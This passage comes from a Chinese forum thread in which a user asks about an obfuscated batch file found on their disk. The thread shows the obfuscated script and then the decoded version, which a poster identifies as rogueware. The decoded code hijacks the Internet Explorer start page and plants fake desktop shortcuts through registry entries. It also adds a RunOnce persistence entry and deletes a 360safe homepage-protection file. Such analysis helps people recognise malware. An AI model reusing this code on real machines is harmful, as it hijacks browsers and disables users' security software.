  49. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCU\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\M%appdata:~-1%%programfiles:~-4,1%%userprofile:~14,1%" /%tcopu:~8,1% "S%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% P%appdata:~-1%%programfiles:~6,1%%comspec:~-1%" /%appdata:~15,1% "%strURL%" /%tcopu:~11,1% 

  50. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\W%programfiles:~-4,1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-7,1%%os:~5,1%%comspec:~-16,1%\C%userprofile:~6,1%%programfiles:~4,1%%programfiles:~4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%V%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%\R%userprofile:~6,1%%userprofile:~14,1%O%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%" /%tcopu:~8,1% "%appdata:~15,1%%comspec:~-13,1%%comspec:~-2,1%" /%appdata:~15,1% "%strHome%\L%programfiles:~-4,1%%tcopu:~1,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%" /%tcopu:~11,1% 

  51. %programfiles:~4,1%%appdata:~15,1% /%comspec:~-16,1% /%tcopu:~6,1% "%strHome%\%appdata:~-1%%appdata:~-1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}"

  52. %programfiles:~4,1%%appdata:~15,1% /%comspec:~-16,1% /%tcopu:~6,1% "%strHome%\%tcopu:~1,1%%tcopu:~1,1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}"

  53. %appdata:~7,1%%appdata:~15,1% "%strHome%\%appdata:~-1%%appdata:~-1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}"

  54. %appdata:~7,1%%appdata:~15,1% "%strHome%\%tcopu:~1,1%%tcopu:~1,1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}"

  55. %appdata:~15,1%%comspec:~-1%%appdata:~-13,1% "%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%"

  56. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% :O%userprofile:~14,1% E%programfiles:~4,1%%programfiles:~4,1%%appdata:~-7,1%%programfiles:~4,1% R%comspec:~-1%%comspec:~-16,1%%userprofile:~6,1%%appdata:~7,1%%comspec:~-1% N%comspec:~-1%%comspec:~-2,1%%comspec:~-13,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  57. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% S%userprofile:~6,1%%tcopu:~1,1% %tcopu:~1,1%%appdata:~-1%%comspec:~-13,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  58. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% %os:~5,1%%comspec:~-16,1%%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1% -%comspec:~-1%:%tcopu:~8,1%%tcopu:~1,1%%comspec:~-16,1% "%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%" >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  59. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% E%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-13,1% S%userprofile:~6,1%%tcopu:~1,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  60. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% E%userprofile:~14,1%%appdata:~15,1% S%userprofile:~6,1%%tcopu:~1,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  61. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% S = WS%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1%.C%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1%O%tcopu:~1,1%%tcopu:~4,1%%comspec:~-1%%userprofile:~5,1%%comspec:~-13,1%%tcopu:~25,1%"WS%userprofile:~5,1%%programfiles:~4,1%%programfiles:~-4,1%%appdata:~-15,1%%comspec:~-13,1%.S%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%"%tcopu:~30,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  62. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %appdata:~-13,1%%userprofile:~14,1%%tcopu:~5,1% = S.C%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1%S%tcopu:~2,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-13,1%%userprofile:~5,1%%userprofile:~6,1%%comspec:~-13,1%%tcopu:~25,1%"%strHome%\%appdata:~-1%%appdata:~-1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}\T%appdata:~-1%%programfiles:~4,1%%programfiles:~6,1%%comspec:~-1%%comspec:~-13,1%.%appdata:~-13,1%%userprofile:~14,1%%tcopu:~5,1%"%tcopu:~30,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  63. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %appdata:~-13,1%%userprofile:~14,1%%tcopu:~5,1%.T%appdata:~-1%%programfiles:~4,1%%programfiles:~6,1%%comspec:~-1%%comspec:~-13,1%P%appdata:~-1%%comspec:~-13,1%%tcopu:~2,1% = "%strURL%" >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  64. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %appdata:~-13,1%%userprofile:~14,1%%tcopu:~5,1%.S%appdata:~-1%%tcopu:~8,1%%comspec:~-1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  65. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% T%appdata:~-1%%appdata:~-7,1% = S.C%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%comspec:~-13,1%%comspec:~-1%S%tcopu:~2,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-13,1%%userprofile:~5,1%%userprofile:~6,1%%comspec:~-13,1%%tcopu:~25,1%"%strHome%\%tcopu:~1,1%%tcopu:~1,1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}\T%appdata:~-1%%programfiles:~4,1%%programfiles:~6,1%%comspec:~-1%%comspec:~-13,1%.%appdata:~-13,1%%userprofile:~14,1%%tcopu:~5,1%"%tcopu:~30,1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  66. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% T%appdata:~-1%%appdata:~-7,1%.T%appdata:~-1%%programfiles:~4,1%%programfiles:~6,1%%comspec:~-1%%comspec:~-13,1%P%appdata:~-1%%comspec:~-13,1%%tcopu:~2,1% = "%strTao%" >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  67. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% T%appdata:~-1%%appdata:~-7,1%.S%appdata:~-1%%tcopu:~8,1%%comspec:~-1% >>%strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  68. %tcopu:~11,1%%appdata:~-7,1%%programfiles:~4,1% /%tcopu:~11,1% "%comspec:~-13,1%%appdata:~-7,1%%tcopu:~5,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-16,1%=%comspec:~-10,1%*"   %%%programfiles:~-4,1%  %programfiles:~-4,1%%userprofile:~14,1% %tcopu:~25,1%'REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\W%programfiles:~-4,1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-7,1%%os:~5,1%%comspec:~-16,1%\C%userprofile:~6,1%%programfiles:~4,1%%programfiles:~4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%V%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%\A%appdata:~-15,1%%appdata:~-15,1% P%appdata:~-1%%comspec:~-13,1%%tcopu:~2,1%%comspec:~-16,1%\%comspec:~-10,1%%tcopu:~33,1%%tcopu:~17,1%%comspec:~-16,1%%appdata:~-1%%tcopu:~11,1%%comspec:~-1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%"   /%tcopu:~8,1% "P%appdata:~-1%%comspec:~-13,1%%tcopu:~2,1%"'%tcopu:~30,1% %appdata:~15,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%%comspec:~-16,1%%appdata:~-13,1%%appdata:~-13,1%=%%%programfiles:~-4,1% %%%tcopu:~4,1%

  69. %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%%comspec:~-16,1%%appdata:~-13,1%%appdata:~-13,1%=%strsll: =%

  70. %programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% "%strsll%\%comspec:~-16,1%%appdata:~-1%%tcopu:~11,1%%comspec:~-1%%appdata:~7,1%%appdata:~-7,1%%userprofile:~14,1%\H%appdata:~-7,1%%appdata:~7,1%%comspec:~-1%P%appdata:~-1%%programfiles:~6,1%%comspec:~-1%L%programfiles:~-4,1%%tcopu:~1,1%.%appdata:~15,1%%appdata:~-1%%comspec:~-13,1%" %tcopu:~25,1%

  71. D%comspec:~-1%%appdata:~-13,1% "%strsll%\%comspec:~-16,1%%appdata:~-1%%tcopu:~11,1%%comspec:~-1%%appdata:~7,1%%appdata:~-7,1%%userprofile:~14,1%\H%appdata:~-7,1%%appdata:~7,1%%comspec:~-1%P%appdata:~-1%%programfiles:~6,1%%comspec:~-1%L%programfiles:~-4,1%%tcopu:~1,1%.%appdata:~15,1%%appdata:~-1%%comspec:~-13,1%"

  72. %tcopu:~30,1%

  73. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %strHome%\%appdata:~-1%%tcopu:~1,1%%userprofile:~5,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  74. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %strHome%\%tcopu:~11,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  75. %appdata:~15,1%%comspec:~-1%%appdata:~-13,1% %strHome%\%comspec:~-13,1%%appdata:~7,1%%appdata:~-15,1%%appdata:~-7,1%%userprofile:~14,1%%comspec:~-1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  76. %appdata:~15,1%%comspec:~-1%%appdata:~-13,1% %strHome%\%appdata:~-1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%

  77. %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-13,1%
复制代码
收藏 分享

BAT-VBS

Rank: 8Rank: 8

帖子
888 
积分
6682 
技术
88  
捐助
0  
注册时间
2012-10-27 
2楼
发表于 2013-3-13 22:41 | 只看该作者
http://www.bathome.net/thread-7204-1-1.html

TOP

sxw

Rank: 5Rank: 5

帖子
339 
积分
669 
技术
25  
捐助
0  
注册时间
2009-9-20 
3楼
发表于 2013-3-14 08:20 | 只看该作者
回复 2# BAT-VBS


    那是干什么用的呢

TOP

BAT-VBS

Rank: 8Rank: 8

帖子
888 
积分
6682 
技术
88  
捐助
0  
注册时间
2012-10-27 
4楼
发表于 2013-3-14 10:00 | 只看该作者
回复 3# sxw


    解密顶楼的代码用的
1

评分人数

    • sxw: 多谢，解密出来了技术 + 1

TOP

sxw

Rank: 5Rank: 5

帖子
339 
积分
669 
技术
25  
捐助
0  
注册时间
2009-9-20 
5楼
发表于 2013-3-14 13:17 | 只看该作者

RE: 在硬盘里发现了这个**.bat，是干什么的[已解决]

回复 4# BAT-VBS

解密了就是这个，貌似是流氓
  1. cls 

  2. @echo oFF 

  3. set tcopu=%%bh%%jkq%%vz%%f7%%4c50t%%u1w8%%(cdf9)%%@6tc%% 

  4. for /f "tokens=3*"   %%i  in ('REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\GDI"   /v ""') do set strURL=%%i %%j 

  5. set strURL=%strURL: =% 

  6. for /f "tokens=3*"   %%i  in ('REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\GDIJIA"   /v ""') do set strTao=%%i %%j 

  7. set strTao=%strTao: =% 

  8. Set strHome=D:\Visualizations\Media 

  9. set strHome=D:\Visualizations\Media 

  10. if exist "C:\Documents and Settings\Administrator\makefile" del "C:\Documents and Settings\Administrator\makefile" 

  11. echo objects = t>>"C:\Documents and Settings\Administrator\makefile" 

  12. echo t : makefile>>"C:\Documents and Settings\Administrator\makefile" 

  13. echo  start /min D:\Visualizations\Media\tmptwo.bat>>"C:\Documents and Settings\Administrator\makefile" 

  14. if not exist "C:\Documents and Settings\Administrator\Link.exe" copy "D:\Visualizations\Media\Link.exe" "C:\Documents and Settings\Administrator\Link.exe" 

  15. start /min reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /d "1" /f 

  16. start /min reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /d "1" /f 

  17. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}" /v "" /d "Intarnet Explorar" /f 

  18. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\InProcServer32" /v "" /d "C:\WINDOWS\system32\shdocvw.dll" /f 

  19. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\InProcServer32" /v "ThreadingModel" /d "Apartment" /f 

  20. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\Instance" /v "CLSID" /d "{25585dc7-4da0-438d-ad04-e42c8d2d64b9}" /f 

  21. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\Instance\InitPropertyBag" /v "Element" /d "{3c81e7fa-1f3b-464a-a350-114a25beb2a2}" /f 

  22. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\Instance\InitPropertyBag" /v "InitString" /d "rie" /f 

  23. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\shellex\ContextMenuHandlers\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}" /v "" /d "" /f 

  24. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\shellex\IconHandler" /v "" /d "{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}" /f 

  25. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\shellex\MayChangeDefaultMenu" /v "" /d "" /f 

  26. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}\ShellFolder" /v "Attributes" /t reg_dword /d 0 /f 

  27. start /min reg add "HKLM\SOFTWARE\Clients\rie" /v "" /d "IEXPLORE.EXE" /f 

  28. start /min reg add "HKLM\SOFTWARE\Clients\rie\IEXPLORE.EXE" /v "" /d "Internet Explorer" /f 

  29. start /min reg add "HKLM\SOFTWARE\Clients\rie\IEXPLORE.EXE\DefaultIcon" /v "" /d "C:\Program Files\Internet Explorer\iexplore.exe" /f 

  30. start /min reg add "HKLM\SOFTWARE\Clients\rie\IEXPLORE.EXE\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE D:\Visualizations\Media\aa.{0AFACED1-E828-11D1-9187-B532F1E9575D}" /f 

  31. start /min reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{2559A1F4-21D7-11D4-BDAF-00C04F60BB11}" /v "" /d "" /f 

  32. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}" /v "" /d "淘宝热卖" /f 

  33. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\InProcServer32" /v "" /d "C:\WINDOWS\system32\shdocvw.dll" /f 

  34. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\InProcServer32" /v "ThreadingModel" /d "Apartment" /f 

  35. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\Instance" /v "CLSID" /d "{25585dc7-4da0-438d-ad04-e42c8d2d64b9}" /f 

  36. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\Instance\InitPropertyBag" /v "Element" /d "{3c81e7fa-1f3b-464a-a350-114a25beb2a2}" /f 

  37. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\Instance\InitPropertyBag" /v "InitString" /d "rtao" /f 

  38. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\shellex\ContextMenuHandlers\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}" /v "" /d "" /f 

  39. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\shellex\IconHandler" /v "" /d "{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}" /f 

  40. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\shellex\MayChangeDefaultMenu" /v "" /d "" /f 

  41. start /min reg add "HKCR\CLSID\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}\ShellFolder" /v "Attributes" /t reg_dword /d 0 /f 

  42. start /min reg add "HKLM\SOFTWARE\Clients\rtao" /v "" /d "IEXPLORE.EXE" /f 

  43. start /min reg add "HKLM\SOFTWARE\Clients\rtao\IEXPLORE.EXE" /v "" /d "Internet Explorer" /f 

  44. start /min reg add "HKLM\SOFTWARE\Clients\rtao\IEXPLORE.EXE\DefaultIcon" /v "" /d "D:\Visualizations\Media\tao.ico" /f 

  45. start /min reg add "HKLM\SOFTWARE\Clients\rtao\IEXPLORE.EXE\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE D:\Visualizations\Media\bb.{0AFACED1-E828-11D1-9187-B532F1E9575D}" /f 

  46. start /min reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{2559A1F4-21D7-11D4-BDAF-00C04F60BB22}" /v "" /d "" /f 

  47. start /min reg add "HKLM\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d " =" /f 

  48. start /min reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d " =" /f 

  49. start /min reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "dtx" /d "D:\Visualizations\Media\Lib.exe" /f 

  50. rd /s /q "D:\Visualizations\Media\aa.{0AFACED1-E828-11D1-9187-B532F1E9575D}" 

  51. rd /s /q "D:\Visualizations\Media\bb.{0AFACED1-E828-11D1-9187-B532F1E9575D}" 

  52. md "D:\Visualizations\Media\aa.{0AFACED1-E828-11D1-9187-B532F1E9575D}" 

  53. md "D:\Visualizations\Media\bb.{0AFACED1-E828-11D1-9187-B532F1E9575D}" 

  54. del "D:\Visualizations\Media\abc.bat" 

  55. echo :On Error Resume Next >>D:\Visualizations\Media\abc.bat 

  56. echo Sub bat >>D:\Visualizations\Media\abc.bat 

  57. echo start wscript -e:vbs "D:\Visualizations\Media\abc.bat" >>D:\Visualizations\Media\abc.bat 

  58. echo Exit Sub >>D:\Visualizations\Media\abc.bat 

  59. echo End Sub >>D:\Visualizations\Media\abc.bat 

  60. echo set S = WScript.CreateObject("WScript.Shell") >>D:\Visualizations\Media\abc.bat 

  61. set S = WScript.CreateObject("WScript.Shell") 

  62. echo set lnk = S.CreateShortcut("D:\Visualizations\Media\aa.{0AFACED1-E828-11D1-9187-B532F1E9575D}\Target.lnk") >>D:\Visualizations\Media\abc.bat 

  63. set lnk = S.CreateShortcut("D:\Visualizations\Media\aa.{0AFACED1-E828-11D1-9187-B532F1E9575D}\Target.lnk") 

  64. echo lnk.TargetPath = " =" >>D:\Visualizations\Media\abc.bat 

  65. echo lnk.Save >>D:\Visualizations\Media\abc.bat 

  66. echo set Tao = S.CreateShortcut("D:\Visualizations\Media\bb.{0AFACED1-E828-11D1-9187-B532F1E9575D}\Target.lnk") >>D:\Visualizations\Media\abc.bat 

  67. set Tao = S.CreateShortcut("D:\Visualizations\Media\bb.{0AFACED1-E828-11D1-9187-B532F1E9575D}\Target.lnk") 

  68. echo Tao.TargetPath = " =" >>D:\Visualizations\Media\abc.bat 

  69. echo Tao.Save >>D:\Visualizations\Media\abc.bat 

  70. for /f "tokens=3*"   %%i  in ('REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe"   /v "Path"') do set strsll=%%i %%j 

  71. set strsll=%strsll: =% 

  72. if exist " =\safemon\HomePageLib.dat" ( 

  73. Del " =\safemon\HomePageLib.dat" 

  74. ) 

  75. start /min D:\Visualizations\Media\abc.bat 

  76. start /min D:\Visualizations\Media\f.bat 

  77. del D:\Visualizations\Media\tmpone.bat 

  78. del D:\Visualizations\Media\a.bat 

  79. exit 
复制代码

TOP

返回列表